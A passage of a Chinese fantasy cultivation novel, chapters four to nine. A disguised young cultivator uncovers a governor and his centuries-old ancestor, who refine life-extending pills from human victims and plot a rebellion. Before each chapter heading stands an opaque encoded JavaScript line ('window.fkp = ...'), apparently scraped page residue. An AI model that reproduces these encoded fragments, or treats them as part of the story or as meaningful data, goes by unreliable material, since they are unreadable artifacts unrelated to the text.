\"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第四章 源水城外 和老者一番闲聊之后,赵尘将筷子一放:“就这样吧,结账。” 老李扫了一眼:“承惠,共一百一十三文,抹去零头,少侠,你给个一百文便好。” 赵尘闻言,将手伸进袖子,正欲拿钱,忽然转念一想:“若是城中真有问题,到时候闹出动静来,怕是要牵连他,和其结下因果……” 这些想法在电光火石之间从赵尘脑海划过。因为李老汉先前说自己炼的是一门叫《烈火劲》的功法,赵尘不动声色,将一枚一寸大小的小木瓶塞进老李手中,并传音向老李解释这木瓶中的东西的用处,并说用此顶债。 这瓶中是赵尘学习炼丹的产物,名曰火云沙。以夕阳时分的火烧云为主料,以火生土的原理,炼成的含有水、火、土三属性沙粒大小的暗红色结晶体,一粒沙子都包含一丝虽有太阳真火的阳刚,却没有其霸道的火气,且普通人都可以服用。 老李闻言,借着赵尘的遮掩,用手指粘出一粒沙子,垂目看了一眼,内力在指尖流转,细细感受了一番,又送入口中。老李刚将火云沙吞入腹中,便感觉一股暖意从腹中散发出来,传至四肢百骸。且每运转一次内力,内力便有一丝丝近乎微不可查的纯净和增长。 感受完火云沙的药力之后,老李悄悄的将木瓶藏进袖中,真诚的道谢道:“多谢少侠,少侠下次常来啊。”说着,还用眼睛瞟了瞟四周。 赵尘见状,起身笑道:“老丈再见,不送。”说罢,便要转身离开。 李老忽然开口道:“如今正是捞取净水的时节,城中诸事繁杂,恐不是善地。这净水想来于少侠而言,怕也没什么大用,少侠还是早离开的好。” 心思转动间,向老汉一番道谢之后,赵尘便转身出门远去。 笑呵呵的看着赵尘远去之后,李老汉迅速将之前从赵尘进店到其离开的事情回忆了一遍,随后又将其和以前的事情做了一番比较,看可有不妥之处。 李老汉能凭借着直到今天,才不过后天十一层的低微修为,便能将周围数州之地闯荡一遍,靠的便是这一份谨慎。 这一比较,李老汉便发现自己今天的不对劲之处,自己在遇到造成之后,便显得有些思绪不宁。而且,即便是因为赵尘送了自己一瓶火云沙而产生的感激之情,以及怕其陷在城中,被其可能的家世迁怒,劝说其离开也不会说的的那么明显。最多隐隐提醒几句。 更别说还当众和这些糙汉说些什么自己以前冒险的经历,其中又有多少根本不能被第二个人知道的私密被自己露出了一鳞半爪。 想到这里,李老不禁心道:“这是遇见高人了啊!许久没有在江湖上走动,竟然大意了。” “也不知这位少侠是身怀异术,还是那传说中的神仙中人?”轻轻捏了捏手中的小木瓶,想着以前在江湖上听来的故事,李老汉心中思量着。 随着赵尘远去,茶铺中的气氛却更加热烈几分。 “李老,刚才那少年是个什么身份啊?还望指点一二,以免以后见面时不小心冲撞了。”一个汉字陪着小心请教道。 以前虽然知道这李老不简单,直到今天才清楚,这原来是一位见多识广的江湖老前辈。 “呵……那等人物,也是你能轻易冲撞到的!以后若是遇到了,只要恭敬些就行啦!” “怎么说?” “那位少侠,应该是一位先天。” “先天武者!”众人闻言纷纷惊呼道。要知道,对他们来说,先天武者虽然不是传说中的存在,但也是高不可攀的大人物了。 “而且看其年纪,再看衣着打扮,还有背后那一柄一看就是神兵利刃的宝剑,可见其家世也是不凡啊。所以你们以后基本上不会有打交道的机会。” “在加上看之前的谈吐,便知道这不是一个嚣张跋扈的性子,所以我说,以后遇见了,只要敬着点,便不会有冲撞到的机会。” 李老汉嘴上虽这样说着,想着之前向源水城方向去的赵尘,扫视了一圈表面上看起来和之前一般,实际上却对自己恭敬许多的中汉子。 “也不知是不是真的善恶终有报!”想到这里,李老对周围汉子轻声唾了一声:“一群怂瓜,没意思!” 伸手招来伙计,同时从角落里搬出一装着铜钱和散碎银子的小木盒,一人给抓了一把递过去:“这是你们的工钱。” 随后将其倒在布上,随手一裹,背在身上,又不知从那个角落里抽出一把兵刃,转身向门外走去:“此去江湖路远,这铺子暂时就不开了,你们俩明天就别来了。还有你们,今天这茶水就当老夫请了……” 余音袅袅之间,李老汉几个纵跃就消失在远处。 …… 赵尘从茶铺离开后,一路往源水城走去。在之前的闲聊中,通过“基础读心术”,赵尘又得到了许多信息。没有人是傻子,这老李也是游历过许多地方的人物,这源水府武者数量的不对劲,自然也注意到了,并对此有了些许猜测。 其它州府,先天武者虽然四散各地,没有办法逐个点数,但绝对比源水府那数万人要多的多,而且源水府民间先天武者的稀少也十分扎眼,这其中,节度使府的身影在其中若隐若现,虽说因为净水的关系,要对民间武者这般重点监管,但也不止如此。 走在官道上,这十数里的路程,沿街散落着十几家茶铺、酒肆,愈往源水城处愈密集,最后甚至连成了一片繁华的集市。直到离源水城一里多处,集市骤然而止。 源水城作为一座标准的府城,其三十五丈高的城墙远远便可看见,长三十多里,宽近二十里的源水城依玄水而建。待赵尘走近,长三十多里,高三十五丈的黝黑城墙好像一条黑龙卧在大地上。 走近一看,城墙通体用一种黝黑色巨型石条砌成,看起来便十分结实,墙面一片光滑,石缝之间刀插不进。城门上挂着一巨大的匾额,上书‘镇源水府’。 城头有一队甲士正在来回巡逻,城门口也站着两队卫士。 单看这城墙高度,便知这世界武力绝对不算低微,再看那城墙的长度,则更有一番玄幻色彩。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第五章 入城 单看这城墙高度,便知这世界武力绝对不算低微,再看那城墙的长度,则更有一番玄幻色彩。 在城门口略做登记之后,赵尘便穿过近百丈深的城门洞,来到了源水城中,在离城门不远的一处广场旁边,停着一群正在招揽客人的车夫,不但有人力的,各种牲畜异兽之类的,或是还有类似发条之类的机械结构的,等等还有所谓很合动力的,种种情况不一而足。 赵尘和一人谈好价格,向一家客栈驶去。沿街的屋舍,除了一些高猛大户数丈高的院墙外,都是三五层楼高。街上干净整洁,往来的行人,皆是脚步规整,纵横有序,买卖双方,都是动作舒缓,语言轻和。 一路无话,行了一刻钟有余,车夫将赵尘送至客栈门口,一进大堂,其中的氛围总算热闹了一些。安顿下来之后,赵尘向小二寻问这源水城中有什么好玩的地方,精致的景致,热闹的场所。 借助游玩的名义,赵尘在城隍庙中上了一炷香,烧了一封黄表,算是拜了码头,随后又在城中小二推荐的各处景点转了一圈,直到中午,回了客栈。 赵尘坐在堂上,耳边听着其余桌子上的人在互相吹牛,思绪却在乱飞。经过赵尘这一上午闲逛得知,这源水城中,发现这先天武者数量不对的,虽然很少,也不是没有,便是怀疑到节度使府身上的除了那茶铺老李,也还有几人。但是具体的证据乃至缘由等,却没有一个人知道。 赵尘坐在桌子上苦思冥想,手中的筷子在盘中戳来戳去,心中不由升起一阵烦躁,随即又在心中将这一缕烦躁斩灭。 就在赵尘对此心烦意乱时,忽然一名管家模样的人来到客栈之中,四顾一番,碎步快走到赵尘身前,向赵尘躬身一礼:“请问可是赵尘赵少侠?” 来人不但是一名先天武者,而且心神紧守,思绪内敛,赵尘那基础的读心术便一点用处也没有了。 “正是在下,不知这位先生找某何事?” “不敢,非是在下,而是某家老爷,老爷……” 一番交流,赵尘了解道,来人乃是节度使府的一位管家。 如今正是外松内紧,戒备森严之时,这源水城忽然来了一位至少先天四重天的少年先天武者,这事立刻就被节度使府知道了。这一上午时间,便是对赵尘来历进行的调查,但却只能追溯到源水城外数十里之处,这一下子就吸引了节度使府的注意力。 “既然是节度使邀请,便是车马都备好了,且容我稍作收拾……” …… 半个时辰后,赵尘乘着马车从侧门进入节度使府。 管家又将赵尘迎入一间小厅,让人奉上茶水,在一旁伺候着:“还请少侠在此稍坐,老爷正在前院处理公务。至于后院,都是一些女眷所在,不方便招待。平时老爷招待好友便是在这中院之中。” 随后又斟酌道::“少侠如今在府中却自己背着兵刃,着实有些不方便,若是被老爷看见了,还不责怪我的失礼,不若我唤来一仆从,帮少侠捧剑。” “倒是麻烦了,只是我这剑有点重。”赵尘略一思索,便将长剑从背后解下, 管家从门外招来一名护卫,双手将长剑接过。 “小心……” 赵尘话还没说完,长剑便“砰”的一声将地砖砸裂了。 中年人连连道歉,又为赵尘换了一间客厅,并唤来四位后天武者抬着一个架子为赵尘抬剑。同时辞别赵尘,说是安排人去修地板。 赵尘一个人坐在客厅中,回头看了眼正为自己抬剑的四名后天十二层的武者,无声的笑了笑。实际上赵尘这柄长剑虽然重三五百斤,但一名后天十二层的武者捧上几个时辰也只是有些吃力罢了。 一连过去了将近半个时辰,赵尘正捏着一个茶杯,无聊的看着茶叶在杯中起伏, “哈哈哈,这便是赵老弟吧,抱歉,来迟了,来迟了!” 抬头看去,看见一四十岁上下的劲装男子快步跨入厅中,对着赵尘连连作揖,身高七尺,一脸威仪,颈似猛虎,臂若长猿。 赵尘连忙上前几步,抱拳道:“晚辈赵尘,见过节度使大人。” 同时细细体会这位节度使的气机,心中估算着,这位节度使单从气息来看,表面上只有先天二重天。但实际上,应该在先天五重天左右,便是略有超出,也不大。 男子也连忙伸手将赵尘扶住,手中真气一闪而逝,也在心中估算着,这赵尘的修为应该在先天四重天左右,而且表现出的江湖经验也十分稚嫩:“都是江湖朋友,就不要喊什么节度使了。我姓许名武,喊我一声许大哥便好。我也托大,称一声赵贤弟,可好?” 赵尘在从茶铺离开时,便运转了敛息术,对自己的气息的进行了调整,并抽出一股法力,模拟成先天真气的模样,在体内运转。 这玄天秘传的敛息术玄妙无比,不知道的话,不要说气息了,便是贴身细细感知,运转秘法观察精、气、神、乃至气运等,只要赵尘不请在说开,他就是一名先天四重天,真意境的武者。便是一位第三阶的高手,只要不将赵尘拿在身前,仔细检查,便也无法看破。 两人一番“大哥”、“贤弟”之后,许武拉着赵尘向外走去:“这厅中狭小,忒不自在,贤弟随我去园中饮酒。” 同时对旁边喊道:“回去告诉夫人,今儿中午要陪赵贤弟痛饮,就不回后院吃了。” 一番推杯换盏之后,许武自觉将赵尘的底细盘了一遍之后,随口问道:“贤弟,老哥看你行走之间气度不凡,可是先天三重,真意境?” 赵尘好像被挠到痒处,笑道:“大哥,小弟我自小天赋异禀,你别看我今年还不到二十岁,但不久之前已经是先天四重天的武者了。未来宗师不敢说,但先天八重天,乾坤境圆满还是没问题的。对了,还不知大哥什么修为呢?” 听赵尘这么一说,许武表情一下子就落寞了下来:“不能和贤弟这般天才相比,别看愚兄看起来才四十多岁的样子,可实际上今年已经七十有余了,宝药不知吃了多少,到今天才通脉境,十几年来距那真意还遥遥无期啊。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第六章 许武 赵尘听他这么一说,不由腹诽道:之前在山中之时,还感觉世界上全是好人,这才出来多久,怎么连个说实话的人都没有了。 “大哥这是哪里话?想我,之前卡在先天三重天,三年不得寸进,这才出来游历。这不,刚出来没多久,便进阶先天四重天了。也许不久,许大哥便迈入先天三重天了呢。再说,先天境界,寿一百二十,大哥现在也不过才中年罢了。” 许武闻言,连连摇头叹息:“愚兄哪里能和老弟相比啊?先天三、四重天被称为真意境,先天三重天是凝炼诸般真意,而先天四重天则是将这些散碎的真意统合起来,形成一个整体,这更注重悟性,可愚兄这,可就不是悟性能解决的。” “再说了,理论上先天境可以活一百二十岁,正如先前所说,老哥我镇守一方,大的战争虽然没有,但小的摩擦却常有发生,老哥我这满身是伤啊,能活个九十来岁便是寿终正寝了。” 赵尘闻言,趴在桌上,自怀中费力的掏出个小瓷瓶,摇摇晃晃的递给许武:“大哥,这是小弟家秘传的疗伤圣药,号称只要还剩半口气,便能将其救活,外愈伤口,内养脏腑。无论是外伤还是内伤,又或是中毒,都有奇效。小弟身上也不多,这一瓶便给大哥了。” 这药和火云沙一样,也是赵尘练习炼丹的产物。 许武闻言,颇是感动:“赵老弟……” “切勿推辞……” “好,那我就多谢小弟了。”许武将瓷瓶塞入腰间:“老弟来的正巧,如今正有一般大好处正等着老弟呢。” “好处?” “贤弟可听说过净水?” “净水啊……先前倒是听人提起过几句。” 又是一番推杯换盏之后,赵尘彻底扑到在石桌上,只能哼哼唧唧了。许武轻声唤了几声,见其没有反应,便安排人扶着赵尘去了客房。随后又回房一番沐浴更衣。 话说回来,赵尘见酒桌上没什么收获之后,便悄然将敛息术运转的更加精深,隐住元婴身形,来了一出元婴出窍,出窍之后,将元婴变作丝线状,编织在许武的衣服里面。 至于赵尘在出窍之后,还能将身体伪装成醉酒状,这却是一种高深的出窍秘法,是为了防止元婴乃至元神离体之后,肉身毫无防备而被创造出来的。 许武在洗去身上的酒气之后,换了身衣服,便向后院方向走去。 在中院和后院的交界处,一座暖阁印入眼帘。只见暖阁四周,气场等,相对于稍显杂乱的别处要更和谐自然一些,想来这节度府的“仙师”便居于此处了。 …… 许晏一个人独坐在暖阁中,显得垂垂老矣,身前点着一炉檀香。昏昏欲睡之间忽然抬眼看向门口,轻轻的唤了声:“武儿。” 正在这时,许武推门而入,恭敬的一拜:“老祖宗。” 赵尘依附在许武身上,只见一座青铜香炉,丝丝缕缕的冒着青烟。香炉之后的云床上,坐着一老者,气血干枯,肉身松垮,气息浑浊,浑身散发着一种迟暮之气。但一双眸子,虽看起来浑浊、昏暗,可却又给人一种炯炯有神的感觉。 “体内未见法力,肉身衰败至此,但神却如此旺盛,这是偏仙道神魂一脉的修士。”赵尘心中判断道。 老者周身散发着一丝丝肉眼不可见的清光,这是神魂散发出的性灵之光。 “这已经是神魂照破肉身的境界了,只可惜他太老了,今生只能止步于此,散仙无望了。”赵尘心道。 偏仙道神魂一脉的修行法门,和其它修行之法都不一样,最多只能修行到第四阶:驻世散仙境界。但和其它第四阶修士不同,驻世散仙也只能再驻世五百载。至于驻世散仙之下,便是修炼到第三阶顶端的灵肉和一境界,也活不到两百岁。 神魂一脉的修行法门第一阶到第三阶都各有两步,第四阶只有一步。照破肉身便是第五步。所以别看老者垂垂老矣,但却是一位活生生的第三阶真君。 随即,赵尘又看见老者周身有无数的血煞之气化作锁链,从身体穿过,污染着性灵之光,并且侵蚀着肉身。这些血煞之气不同于军队百战余生的铁血煞气,可以鬼神辟易,护持己身,纯粹是杀戮太多的业报。 其次是头顶,大团的黑气如乌云一般的遮蔽一切,并且如璎珞般丝丝垂下。本来神魂修士对着气运之类最是敏感,可如今其对此却丝毫不知。赵尘不心中禁叹息道:“这就是气运遮眼,五蕴惑心,耳昏眼花,报应到了啊。” “想来这位真君是在修炼邪法了。这神魂一脉虽长生难求,但真君修为,便是魂归下土,也能任一方鬼吏了,何至于此啊!” 看着这不知死之将至的老者,赵尘虽然愤怒其修行邪法,但对其一番苦修,终将化为流水的境遇,心底却有一丝丝物伤其类的感叹。 “武儿,你来寻我,所谓何事?” “老祖宗,我今儿又为您寻到了一株宝药!” “哦?”许晏这语气,完全就是爷爷在和自己孙子捧眼、逗趣一般,对许武说的宝药却一点也没放在心上。 “那是一少年,看面容不过十六、七岁左右,其自己也说二十岁不到,便已有先天四重天的修为,而且其一身气血之旺盛,实在不像先天武者能有的。而且其气血纯净的还好像的刚出生的婴孩。老祖宗若是以这株宝药为主,配上其他辅料,必然能炼出一炉宝丹,为老祖宗益寿延年。” 许武话音还没落下,赵尘便将心底那丝丝物伤其类抛到了九霄云外。直想跳起来将自己的好大哥塞进丹炉中,让其好好感受一番作为一株药材的感觉,直赞叹果然是天理昭彰。 “这般说来,这少年不但天资不俗,想来也是出身不凡了?”听着许武的话,许晏终于提起了几分兴趣。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第七章 往事 “老祖宗明鉴,今天早上,府上突然得知有一位疑似先天境界的年轻人来到了城中,这个时节,便按照惯例对其行踪进行了初步的调查,可却什么也没查出来,还发现其境界可能不低,便将这件事告诉了我。我随之让人将其请到了府中。” “那少年名叫赵尘,听其所说,应该是在出门历练,碰巧来到这儿的。对净水,应该是偶然听到,稍有兴趣,所以过来看看,”许武想了想:“而且此子行事作风都很稚嫩了。其次,我说到净水时,其表现的一点不感兴趣虽是装的,但心绪也确实没有太大的起伏。” “从修为谈吐来看,其应该出生那些武道大族,”随后又说了些在酒桌上盘出的消息,:“具体的就是这些,还请老祖宗把握一番。” 许晏闻言,透过窗户向赵尘的住望去,细细打量一番之后,点了点头:“我观其气运,也差不多是这个样子,单从气运上判断,家世虽然不错,但也没什么大不了的,只是世俗武夫,且家中虽有些先天武者,但却没有先天之上的存在。所以,没什么要注意的。” 赵尘此时所运转的敛息法门,乃是玄天宗秘传的数十种敛息法门的一种,不但可以对气息进行收敛伪装,便是气血、法力,便是虚无缥缈的气运功德之类的也不例外。 虽然对此早有所知,但赵尘亲眼看见,这般轻松便骗过了一位第三阶修士,心中也是暗暗警惕起来,心里告诫自己。以后自己也不能这样单凭气运之类的来判断人,以免被人用这样的敛息之法给坑了。 许武听了许宴的话,放下心来,随即摸出一个小瓷瓶:“我先前说自己有暗伤在身,这是他给我的。说是其家中秘传的疗伤圣药,还请老祖宗看一下。” “哦,我看看。”许宴闻言,伸手将许武手中的小瓷瓶摄来,放在鼻尖闻了闻,又倒出一点尝了尝,细细体会了一会儿。将之扔了回去。 “确实是好东西,是用十数种珍贵灵药秘炼而成,生机充足,如果有那一斤左右,都能为我延续一年寿元。” “老祖宗,那我待会儿将其抓起来,搜索拷问一番。便是得不到药方,其身上也至少还有一些。” “没用,先不说这一瓶不过数钱,这种珍贵的圣药他身上能有三五瓶就到头了。便是你问出了药方,这所需药材你也收集不了多少。仅我尝出的几种药材,便都是数千年的珍贵灵药。” 许武闻言,皱了皱眉:“那赵尘家中能拿出这种圣药……” “无事,我估计这赵尘家族应该在那庸州冥仑山那一块,能收集到那些灵药也不算什么了不起的。再说了,便这赵尘家中怪罪,从庸州到这儿,数十万里之遥,又有什么大不了的?” “好了,不说这些了。武儿,你准备的如何了?” “家中目前培养的这批上等药材,皆是从婴孩时期便每天浸泡药浴,服食药膳,三岁开始便修行专门的功法。再加上一些意外捡到的野生药材,我本打算在净水节开始之时便将之全部催熟、采摘,等丹成之时正好用这次收获的净水再洗炼一番,等老祖宗服下丹药,便正好起事。” “如今竟有一株宝药自己送上门,这难道不是天意如此吗?实在是大大的吉兆啊!”说话间,许武的语调竟不自觉的高昂了几分。 许武想了想:“家中数百年积累下的净水,若是启封,足以将我推至乾坤境,并且将一批药上等材催熟,还能剩下一些。” “还有,据上次料民所得,整个源水府有人口九百多亿,从中编练出了数百万大军,分别驻扎在源水府的三十一郡,九百六十七县,三万一千九百一十一乡之中。还有可供给大军一年的钱粮和相关的兵器盔甲等都是数百年积累下来的。只待这次净水节之后就开始举事。” 听着许武不断的以人为药,赵尘不断将心中怒火压住,对源水府的事情有了一个大致的猜测,这源水府的先天武者,大概便被这许家用各种手段给薅秃了。听许武口中不断赞叹吉兆和天意,赵尘也跟着感叹道:“确实果真是天意昭彰啊!” 随后许武立刻反应过来:“孙儿失态了,还请老祖宗恕罪。” “无事,这毕竟是我许家数代人的夙愿。”许晏摇了摇头:“他郭家在这并州立足已经两百多年了,也算是气运将近了。终究等到了这有仇报仇,有怨报怨的一天,只可惜我已经快五百岁了,不知还能不能看到那一天的到来。” “什么邪法这么厉害,能让一位照破肉身境的修士活将近五百年,看来这位真君有点东西啊,可惜……”听着许晏的话,赵尘在一旁思量着。 随后许晏又和许武说起了许家的往事。 当年,许家也算诗书传家。正逢王朝末年,天下大乱,许晏的父亲便为自己的四个孩子取名:河、清、海、晏。后来,许晏的父亲没于乱世之中,许河带着三个弟弟四处流浪,但仍不敢忘父亲教导,一边教导着三个弟弟,同时勤学不辍。 后来许河听说邻乡的卫家起事,便前去投奔。但因为怕家中香火断绝,便将许晏一人独自留下,于家中耕读。一晃十数年,转战四方,除了许清战死外,许河和许海都活着见到了乱世的结束。 结果,卫家果然继承大统,但却来了个兔死狗烹,鸟尽弓藏,以谋反罪将许家抄家灭族。幸好许海早有预料,早早的便将幼子托付给了许晏。许晏带其避祸他乡。 直到后来,许海的孙子才重新科举入仕,也只做了个小小县令。之后许家这才重新成为了官宦世家,其子最后做了十几年的源水府知府,终老于任上。其孙官至吏部尚书,也做过十年的源水府知府。其曾孙虽不如他的父亲,但也做了十年的源水府知府。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第八章 许晏 正是许家三代,任了三十多年的源水府知府的经历,才让许家彻底在源水府扎根下来。真是天道好轮回,当时正逢卫家王朝末年,许武的爷爷自领了镇源水府节度使的官职。后来,哪怕郭家得了天下,也不得不捏着鼻子认了下来。 “之后便是你父亲和你,要是当时我许家有这样的实力,怎么会被乱民破门。要是当时我许家有这样的实力,能取得天下,又怎么会有后来的种种不幸。从我开始,直到你,这可是我许家九代人的梦想啊。” “还有,直到后来我才知道,郭家老祖是靠在卫朝初年诬告两位许姓国公谋反才得以发迹。更重要的是,这郭家老祖的爷爷便是当年杀死父亲的那伙乱民的头领。这可是国仇家恨!” 虽然不是第一次听许晏开口说这一段往事,但看着许晏声音虽然轻缓,但却有一种歇斯底里的感觉,许武不由的安慰道:“放心吧,老祖宗,武儿一定会努力的。” 过了好一会儿,许晏这才平静了下来,感叹道:“这件事已经成了我的心魔,我的执念。” “为了这个执念,一百五十多岁时,眼看自己没有几十年好活了,可离家族复兴却遥遥无期,我便捕捉猛兽,研究出用猛兽精血炼丹,补足自己气血和生机方法。” “直到熬过了两百岁,到那时,猛兽精血炼出来的丹药已经没用了,可目标依然遥遥无期。没办法,我只能用年轻的后天武者炼丹,每十来名年轻的后天武者,便可以炼成一颗气血丹,每颗气血丹能延寿十年,可只服用了六次,便没有效果了。” “没办法,我只能不断更换大药材料。从年轻力壮的汉子到气血纯净的婴孩和气血雄浑的武者,直到今天,要用修行特定功法的少年先天武者。 随着两百多年来一次次服用丹药,即便是我一次次改良丹方,可丹药的效果却越来越低。” “本来我最多也就十多年好活了,没想到上天却怜悯于我,将这株宝药送到我的眼前。这一炉丹药,至少可以为我再延寿一甲子。只要看到我许家登基的那一天,我便是死也瞑目了。” 许晏一脸慈祥的看着不断宽慰自己的许武,手上不时抹去眼角的眼泪,口中也笑呵呵的应答着,心思却飘飞到了远处。 当年许河等人投军之后,许晏日夜祈求神灵保佑大哥等人平安,加上童年时家中富贵转眼幻灭,随后又颠沛流离的经历,使其日益喜好、向往神仙之说。 后来随着许清战死的消息传了回来,让其愈发觉得生死无常,功名富贵不过过眼云烟,愈发的钦慕仙道,可是既无名师,又无良友,只能根据收集到的道家典籍和听说的神仙传说自行摸索。 后来收到许河和许海两家因为谋反被抄家灭族的消息后,一夜悟道,完成了明心见性和点亮心灯的修行。独自摸索之下,直到将一百三十多岁才磕磕绊绊的摸索到了神魂通透的境界。 后来才遇到几位道友,明白了修行的境界划分。知道了明心见性、点亮心灯、凝聚神魂、神魂通透、照破肉身、灵肉合一、驻世散仙七个境界。 可终究太迟了,直到一百五十多岁才初入照破肉身境界,可身体已经开始逐渐衰老、腐朽。后来研究出了补充气血之法,延续寿元,可终究很难活过两百岁。 正如许晏所说,当时许家虽出了一个知府,可终究根基太薄,实在是放心不下,只得将注意打到了人的身上。可随着许晏活的越久,这心态却不知不觉间变了。 想到这里,许晏扫了一眼身上那一道道普通人看不见的,穿身而过的血煞锁链。这些锁链不断腐蚀着许晏的肉身,侵染着许晏的灵光。 不禁在心中叹息了一口气:“只可惜这样做罪孽太多,修行的速度越来越慢,到后来修为竟然开始逐渐消退了。修为最高的时候,周身有那方圆两丈多长的清光法域。到如今,都快要跌出照破肉身境界了。” “依如今这般深重的罪孽,要是到了地府,怕是要永不超生。本来都生怕时间来不及了,可如今却绰绰有余了。等我许家得了江山,我先用龙气洗刷掉身上的罪孽,再借用龙气修行,一家王朝的开国龙气足够支持我快速进阶到散仙境界,到时我便又有五百年寿元。” “这样虽会折损王朝气运,但许家在我的庇护下,才能真正兴盛起来。五百年时间,足以坐看王朝更替,这般漫长的时间,在我的领导下,许家一定成为了雄踞一方的世家大族。到时,我再以许家祖先的名义在附近任一方土地神。” “到时候自己和许家相互依靠,在许家的推动下,不断升迁,便是一方城隍也是完全有可能,到时也算是得了正果了。” 许晏清楚记得曾随一位道友去给一位散仙前辈庆寿。当时不过是江北道城隍坐下一位判官的一个小小书吏的管家到来,便被那位前辈迎到了首座。由此可见一位道城隍的尊贵。 自己眼中的得道高人,修行前辈,转眼又卑微到了尘土里,这一幕给许晏留下了深刻的印像,甚至被许晏深深的刻入心中。 “城隍”两个字的重量便这样深深的压在了许晏的心中。后来,曾有一位出身城隍麾下的神吏曾经警告过他,让他勿要行差蹉跎,可后来也没有什么具体措施,这便让许晏对城隍生出了几分妄念。 赵尘在一旁听着两人的交谈,不知许晏心中所想,只道是这许晏放不下家族,因果牵连之下,不慎堕此魔道。心中虽有些为他惋惜,但却也明白,自己便是因果牵连之下,来全他报应来的。同时也暗中警惕自己一定要小心因果,尽量不要沾染不必要的因果业力。 交谈中,许武忽然开口道:“老祖宗,那赵尘还有一件兵刃,是一柄黑色长剑,听许二说,这剑看着不起眼,却有三五百斤之重,不知可有什么问题?” “哦,”许晏听见许武这么一说,感兴趣道:“不过一柄长剑,却有三五百斤之重,单论材质也不简单,怕是一件重宝。这个时候到来,倒是上天送给武儿的宝物啊。等拿下那赵尘之后,将那长剑给我看看。” 许武好像忘记了和许晏说这件事的初衷,点头道:“好的,等过些天便将那柄剑给老祖宗送来。” 赵尘听着两人的对话,心中默默叹了口气:“这就是气运遮眼,五蕴惑心啊,心中会本能的忽略掉一切不合理之处,一叶障目,不见泰山。” “一个看起来十六七岁的先天武者,其气血旺盛的不弱武道宗师,且纯净如婴儿。身上还带着一件神兵重宝。这许晏近五百岁的人,遇到这种情况,不管有没有问题,都要仔细查验一番才是正理。而不会这般大意,面对这些不平常之处都视而不见。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第九章 开始 两人一番商议之后,许武便告辞离开了。 许晏看着许武逐渐远去的身影,深深的叹了口气,低声的念道着:“快了,快了。”随即招来一面铜镜,对着镜子细细打量起来起来。 许晏只见自己头顶,最中间是一截色泽明黄的气运,只是色泽有些暗淡,再往外,逐渐有黄转青,形成一朵淡青色的庆云,庆云之上,还有丝丝璎珞垂下,将整个人罩在中间。 再往外,便是一大团翻滚的血色云团,在不断撞击着庆云和璎珞。只有少数,可以穿过璎珞,化作锁链,洞穿许晏的身体,但很快又被气运给磨灭了。 随着锁链不断被磨灭,又不断有血色云气补充到锁链上。其次,还有一缕淡淡的黑色的烟气游走在血云之中,不时向璎珞和庆云试探一二。 许晏看着镜中的自己,心道:这黄色的气运便是自己的修为所显现,都快要从明黄变成淡黄了。 修行之人,其修为所显现出的气运,被称为本运,由低到高,只有白、红、黄、青四色,再往上,只有成仙才能显现的紫色气运。 只是本运要比其他气运要深厚稳固许多,如同命格一般。再加上,但凡修士,只要突破第一阶,其命格都会消散掉,融入本运之中。所以,修为所显化的本运都占据着命格的位置。 就如同气运所显现的那样,许晏的本运便昭示着其第三阶修士的身份。 再往外,无论用何种方法获得的气运,便被称呼为用运,意思是可以被使用和消耗的气运。相对而言,普通人绝大多数的气运都可以被认为是用运,如依靠家世、官职、名望等获得的气运。 比如许晏那大团青色气运,那便是由源水府之主的身份提供给许晏的。 虽然许晏不是源水府节度使,但作为许武的老祖宗,许武对其亦是出自真心实意的尊敬,只要许晏开口,许武一定会听。再加上其是许家辈分最高,修为最高的人。所以,名义上,许武是整个源水符之主,但实际上,许晏才是源水府的主人。 许晏看着血色的云团不断翻滚着撞击着青色的庆云和璎珞,但却一点用也没有。以及青色的气运在消磨血云化作的锁链时,一点点的被消耗,又迅速的被四面八方飞来的气运补充满的景象,心中暗道:“小小罪孽,能奈我何?等我成功以后,便将你们全部洗掉。” 许晏又看了那一缕黑烟一眼,眉头皱了皱:“这是灾劫之气,看起来好像是因为那个赵尘的原因。这般看来,那个赵尘或是身份有点特殊,或是有点手段。但这点灾劫之气,翻手可灭罢了,不必在意。” 